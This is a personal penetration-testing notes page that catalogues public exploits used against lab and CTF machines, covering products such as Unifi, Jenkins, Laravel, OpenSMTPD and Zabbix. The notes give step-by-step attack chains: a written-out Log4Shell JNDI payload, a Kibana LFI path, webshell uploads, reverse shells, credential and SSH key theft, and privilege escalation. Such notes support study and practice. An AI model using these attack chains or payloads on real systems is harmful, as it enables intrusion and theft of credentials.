Things I have Pwn'd before
tl;dr: This page tracks things I have pwn'd before with public exploits
https://ippsec.rocks/?#
Unifi Log4Shell
Unifi Network 6.4.54
Testing, capture auth attempt in burp with creds
test:testStart
tcpdumpon your host station:
sudo tcpdump -i tun0 port 389
The server will response with
invalid payloadhowever it is still connecting back to us, checktcpdumpto ensure the connect back

Now install the required packages:
After the payload has been created, start the Rogue-JNDI application while passing in the payload as part of the
--commandoption and your tun0 IP address to the--hostnameoption.
--hostnameis your localhost tun0 interfaceNow start your listener
Going back to our intercepted POST request, let's change the payload to
${jndi:ldap://{Your Tun0 IP}:1389/o=tomcat}and clickSend
Apache Struts2
USE:
Microsoft-ds port 445
445/tcp open miscrosoft-dsRun the nmap eternal scripts
USE:
Wing FTP Server
Windows (admin panel):
21/tcp open wingftp— gain access to admin panel;search luathenexploit(windows/ftp/wing_ftp_admin_exec).Linux web client: Exposed on HTTP (often subdomain e.g.
ftp.target.htb). RCE via command injection (EDB 52347). See Wing FTP Server (Linux web client) for subdomain discovery, exploit usage, config/salted hashes, world-writable user XML overwrite, and CVE-2025-4517 priv esc.
FileZilla Server 0.9.60 beta
Windows FileZilla Server 0.9.60 beta exposes a local admin port on
127.0.0.1:14147; forward it over SSH and abuse the public 0.9.60 admin-port tooling to createsystem:wyywyywith FTP access toC:\. See FileZilla Server 0.9.60 beta.
MS09-050 SMB
Windows Server 2008 SP1 with SMBv2 can expose
CVE-2009-3103/ MS09-050. Confirm with nmap's SMB vuln scripts, replace the public PoC shell buffer with a generated Meterpreter payload, and run it against TCP/445 for SYSTEM. See MS09-050 SMB.
Jenkins
Jenkins
2.401.2running only on localhost can be reached with an SSH local port forward. If CLI access allows CVE-2024-23897 arbitrary file read, use it to read/root/.jenkins/secrets/initialAdminPassword. See Jenkins.
ClamAV Milter with Sendmail
Legacy Sendmail
8.13.4using clamav-milter can expose unauthenticated remote root command execution over SMTP. Exploit-DB 4761 adds a root shell service to inetd and exposes it on TCP/31337. See ClamAV Milter with Sendmail.
Remote Mouse
Remote Mouse 3.008 can expose TCP/UDP ports
1978-1980; if network access is filtered, check the local GUI from RDP. WiFi Mouse1.7.8.5can also expose TCP1978with aluminateOKbanner and support payload download RCE. See Remote Mouse.
BaGet
BaGet exposes NuGet service-index and package upload endpoints on IIS/.NET targets. Check
/upload,/v3/index.json, the BaGet exposure nuclei template, and IIS short-name disclosure forbaget*/nuget*assemblies. See BaGet.
Booked Scheduler
Booked Scheduler
2.7.5can expose authenticated RCE. Check anonymous SMB log shares for leaked setup credentials such asadmin:adminadmin, then exploit the authenticated RCE. See Booked Scheduler.
BoxBilling
BoxBilling
4.22.1.5can expose/.git/HEAD; dump the repository, recoverbb-config.php, reuse the leaked password for admin login, then abuseCVE-2022-3552Filemanager file write for command execution asyuki. See BoxBilling.
SOPlanning
SOPlanning
1.52.01can be chained from exposed Git database credentials to thesoplanningdatabase, login asadminwith the storedcle|passwordvalue, and authenticated.phtmlupload RCE aswww-data. See SOPlanning.
Gerapy
Gerapy on TCP/8000 can expose a default
admin:adminlogin and CVE-2021-43857 authenticated RCE. Create a project first if the project list is empty, then use the exploit to get a shell asapp; check Linux capabilities forcap_setuid=epon Python. See Gerapy.
rConfig
rConfig
3.9.4over HTTPS on TCP/8081 can be chained from temporary admin creation to authenticatedsearch.crud.phpcommand injection. Use the resultingapacheshell to checkconfig.inc.phpand local privilege escalation such as SUIDfind. See rConfig.
pyLoad
pyLoad on TCP/9666 can expose a Cheroot login page and unauthenticated
/flash/addcrypted2endpoint. For vulnerable versions prior to0.5.0b3.dev31, useCVE-2023-0297jk=pyimport os;os.system(...)injection to confirm command execution and stage a shell. See pyLoad.
WordPress AdRotate Banner Manager
WordPress with AdRotate Banner Manager
5.8.6.2can allow authenticated admin upload through the AdRotate media manager. Upload a ZIP containingshell.php, trigger it from/wp-content/banners/shell.php, then checkwp-config.phpfor reusable local credentials. See WordPress.
Prison Management System
Prison Management System can allow admin login with
admin:admin123or SQL injection, then authenticated avatar upload RCE by changing an intercepted image filename toshell.php. Checkdatabase/connect2.phpand application tables for reusable credentials. See Prison Management System.
XAMPP on Windows
XAMPP on Windows can expose PHP LFI through
page=parameters. Use../../../../../../../xampp/apache/logs/access.logfor access-log poisoning, then execute a PowerShell/powercat reverse shell as the web user. See XAMPP.
HP Power Manager
HP Power Manager 4.2 Build 7 exposes a GoAhead web UI with default
admin:admin; the Metasploithp_power_manager_filenamemodule can yield SYSTEM. See HP Power Manager.
H2 Database
H2 Database
1.4.199can expose a web console on8082; with console access, JNI code execution can run commands and stage a Meterpreter payload. See H2 Database.
FuguHub
FuguHub
8.4on Barracuda Embedded Web Server can expose an uninitialized setup wizard on TCP/8082. Set the admin account, confirm WFS access, then use the authenticated customization page to execute Lua Server Pages as root. See FuguHub.
Argus Surveillance DVR
Argus Surveillance DVR 4.0.0.0 can expose unauthenticated directory traversal through
WEBACCOUNT.CGI. Use it to read Windows files, steal user SSH keys, and recover Argus credentials fromC:\ProgramData\PY_Software\Argus Surveillance DVR\DVRParams.ini. See Argus Surveillance DVR.
Liferay
Liferay Portal admin access can lead to command execution through the Server Administration Groovy script console. Deployment files and NFS shares may leak
jdbc.default.*, default admin email settings, and Tomcat config. See Liferay.
Laravel
Laravel
8.4.0with an exposed registration flow and dashboard-controlledAPP_DEBUGcan be exploited withCVE-2021-3129once debug is enabled. Use the Ignition exploit for command execution aswww-data, then read.envforAPP_KEYand database credentials. See Laravel.
Mage AI
Mage AI
v0.9.75exposed on Tornado can provide terminal access aswww-data. See Mage AI.
Zabbix
Zabbix
7.2.4local configs can expose MySQL credentials. Use the Zabbix database to recover GUI hashes, crackAdmin:dinosaur, reverse-forward the localhost-only GUI, and execute cloned scripts aszabbix. See Zabbix.
Grav CMS
Grav CMS exposed at
/grav-admin/can be vulnerable to CVE-2021-21425 unauthenticated RCE. Check account YAML files after gaining web access. See Grav CMS.
Codoforum
Codoforum admin access can permit PHP uploads through global settings and forum logo upload. Check
sites/default/config.phpfor database credentials and possible local credential reuse. See Codoforum.
CS-Cart
CS-Cart can expose an old PHP shopping cart on Apache. Try default
admin:admin, use authenticated CS-Cart RCE tooling for awww-datashell, then checkconfig.phpfor local MySQL credentials. See CS-Cart.
Monstra CMS
Monstra CMS
3.0.4can expose public user profiles and authenticated RCE. Build a small wordlist from site content, authenticate to the admin panel, then use Monstra RCE tooling to write a PHP command shell under the active theme. See Monstra CMS.
SaltStack
SaltStack Salt API on
/runcan expose unauthenticated command injection through the SSH client path. Confirm with ICMP, then usessh_privinjection to fetch and execute a reverse shell. See SaltStack.
Subrion CMS
Subrion CMS 4.2.1 admin access can lead to authenticated file upload RCE. Check Subrion config for DB credentials and member data. See Subrion CMS.
SuiteCRM
SuiteCRM
7.12.3can expose defaultadmin:adminaccess and authenticated RCE throughCVE-2022-23940. Use the scheduled reports exploit for awww-datashell, then checkconfig.phpandsudo -lforNOPASSWD: /usr/sbin/service. See SuiteCRM.
Gogs
Gogs access can expose users, repositories, source history, and config secrets. CVE-2025-8110 uses an authenticated symlink workflow; URL-encode special characters in credentials before cloning through exploit tooling. See Gogs.
Gitea
Gitea may expose version details on TCP/3000 and allow registration. On
1.7.5, a first registered admin user can abuseCVE-2020-14144Git hook RCE; if the PoC creates the temporary repo but no shell returns, manually push from the generated repo and try an outbound port allowed by the target. See Gitea.
OpenNMS
OpenNMS Horizon / Meridian admin access can lead to RCE through notification configuration and filesystem editor features. The Metasploit module may require
ROLE_FILESYSTEM_EDITORandROLE_REST, plus module/payload tuning. See OpenNMS.
Sonatype Nexus Repository Manager
Nexus Repository Manager leaks useful version and REST data before auth. Admin access can lead to Windows command execution through Groovy scripts or custom tasks, and automation backups may reveal the rotated admin password. See Sonatype Nexus Repository Manager.
SonarQube
SonarQube exposes useful API/version checks. Admin access can upload a malicious plugin and restart the service; if the service runs as LocalSystem, the plugin executes as SYSTEM. Check
sonar.propertiesbackups and local H2 databases for credentials. See SonarQube.
uftpd
uftpd2.8 can be abused with directory traversal / chroot bypass tooling to retrieve sensitive files such as SSH private keys from local-only FTP services. See uftpd.
Simple PHP Photo Gallery
Simple PHP Photo Gallery
v0.8can allow RFI throughimage.php?img=. Use it to include a hosted PHP webshell, readdb.php, decode double-base64 gallery user passwords, and reuse a local user's password. See Simple PHP Photo Gallery.
Zenphoto
Zenphoto
1.4.1.4can expose its version in an HTML source comment under the gallery path. Use Exploit-DB18083.phpagainst/test/for TinyMCE ajax file manager RCE, then readzp-data/zp-config.phpfor local MySQL credentials. See Zenphoto.
ImageMagick Identifier
ImageMagick Identifier upload forms that run
magick identifythrough a shell can be abused with a crafted PNG filename for command execution. On ImageMagick6.9.6-4, CVE-2023-34152 tooling produced a reverse shell aswww-data; SUIDstracegave root. See ImageMagick Identifier.
ZoneMinder
ZoneMinder
1.29.0under/zm/can expose blind stacked SQLi in the log query path. UseINTO OUTFILEto write a PHP webshell into/var/www/html, trigger it from the Apache service on TCP/3305, and continue from thewww-datashell. See ZoneMinder.
SmarterMail
SmarterMail on IIS web UI on TCP/9998. If TCP/17001
.NET Remotingis open,CVE-2019-7214deserialization can yieldNT AUTHORITY\SYSTEM. See SmarterMail.
OpenSMTPD
OpenSMTPD on TCP/25 can be vulnerable to CVE-2020-7247 unauthenticated RCE. Confirm with an ICMP callback, then use a valid local recipient such as
root@HOSTNAMEfor the reverse-shell exploit path. See OpenSMTPD.
Openfire
Openfire
4.7.3admin console exposure on TCP/9090 can be abused with CVE-2023-32315 to create an admin user, upload a command-execution plugin, and recover embedded database properties such asmail.smtp.password. See Openfire.
OpenEMR
OpenEMR exposed under
/openemr/can lead to authenticated RCE with Exploit-DB45161.pyafter finding valid admin credentials such asadmin:thedoctor. Patch the PoC for Python 3 command encoding, confirm blind command execution with ICMP, catch a reverse shell aswww-data, then check PwnKit for root. See OpenEMR.
Mantis Bug Tracker
80/tcp open http mantisbt-2.3.0CVE:2019-15715 2017-7615
Mantis Bug Tracker 2.3.0 - Remote Code Execution (Unauthenticated)
Apache James Server
Apache James Server
2.3.2can exposejames-admin, NNTP, POP3, and SMTP. Abuse unauthenticated Remote Admin command execution, then trigger the payload through a login event or reboot-triggered init script. See Apache James Server.
Kibana
5601 is the elastic search port, 9200 is the api
If there are log files like on port 8000 which are showing you active kabana logs you can have a LFI vulnerability
Go to the 5601 port and add this extension
/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../root.txt
Then curl the logs and grep for root.txt
Also can be used to get a shell in other situations
https://github.com/mpgn/CVE-2018-17246
Sync Breeze Enterprise
Sync Breeze Enterprise v8.9.24
https://www.exploit-db.com/exploits/40456
Microsoft ds
Android
5555/tcp open freeciv
Install adb
Joomla versions 3.6.3
Able to use joomra.py in order to create an account and login
Edit the templates
Add in webshell
Can read the config files which has the use and password, then can ssh in
XAMPP
Got in through phpmyadmin [root:no password]
Able to get shell through SQL database commands
Then browse to:
Look for config files with passwords
Lucky GetSimple!
See the config file and passwd hash with username, crack in john
PE with dirtycow [CVE-2016-5195]
Compile with
Dolphin Wordpress
Dolphin <7.3.2 Auth bypass / RCE exploit by Ahmed Sultan
Codiad Impresscms
Directories found
Upload web shell
Found SSH creds
Techblog (Wordpress Siteimport Exploit)

LFI
Backupadmin
Priv Esc on box with Amanda running, view by -LFI Exploit
mysql Brute Force
mysql 3306 running on the target
IP Fire 2.15
Brute the admin default [admin:admin]
https://github.com/0xskunk/IPFire-2.15-Shellshock-Exploit/blob/master/SIPS.py
init.d linux pe
webserv
NAS4Free -Web shell via the file editor
Pro FTPD 1.3.5
https://github.com/t0kx/exploit-CVE-2015-3306/blob/master/exploit.py
TeamCity Linux Priv Esc
Port was only listening locally so had to port forward in order to be able to browse to it
TeamCity operates on port
8111by defaultThen could go to
localhost:8111in my browserWas asked for a authentication token to login as super user
In the path
I was able to find a file called
catalina.outwhich reading the contents provided me the authentication token
Once you have gained access Create a new project

Next fill in the build configurations

Next click build steps and use the following command to let
/bin/bashrun with full root privlages
Click
save, and thenrunBack to the command line and run:
ClipBucket
File upload vulnerability with authentication
Site will tell you the MD5 Hash name of the file and the directory it is located. Make sure to add the
.phpextension to the end.
PHP 8.1.0-dev
This version of php was backdoored
Detect with nikto or by capturing the server response in burp
X-Powered-By: PHP 8/1/0/dev--> what you are looking forAutomated POC exploit
Manual Exploitation:
Capture a request in burp suite
Add additional
User-Agenttheader to the request (yes it is supposed to be spelled with two t's)Payload:
Open Net Admin (ona)
Metasploit module for CMD injection 18.1.1
Database file with credentials is located here:
Wordpress HelloDolly Plugin
CVE-2022-37706-Enlightenment-0.25.3-LPE
If you see a suid binary called
enlightenment_sysin order to exploit, Ive had to alter the script
Pluck CMS 4.7.18
https://www.exploit-db.com/raw/49909
https://codingninjablogs.tech/tryhackme-dreaming-pluck-cms-44575d7e558a
User Input:
file upload is not working well
https://www.youtube.com/watch?v=GpL_rz8jgro
upload the zip
De-Pixel PDF to find password
depixel file to get password
Last updated

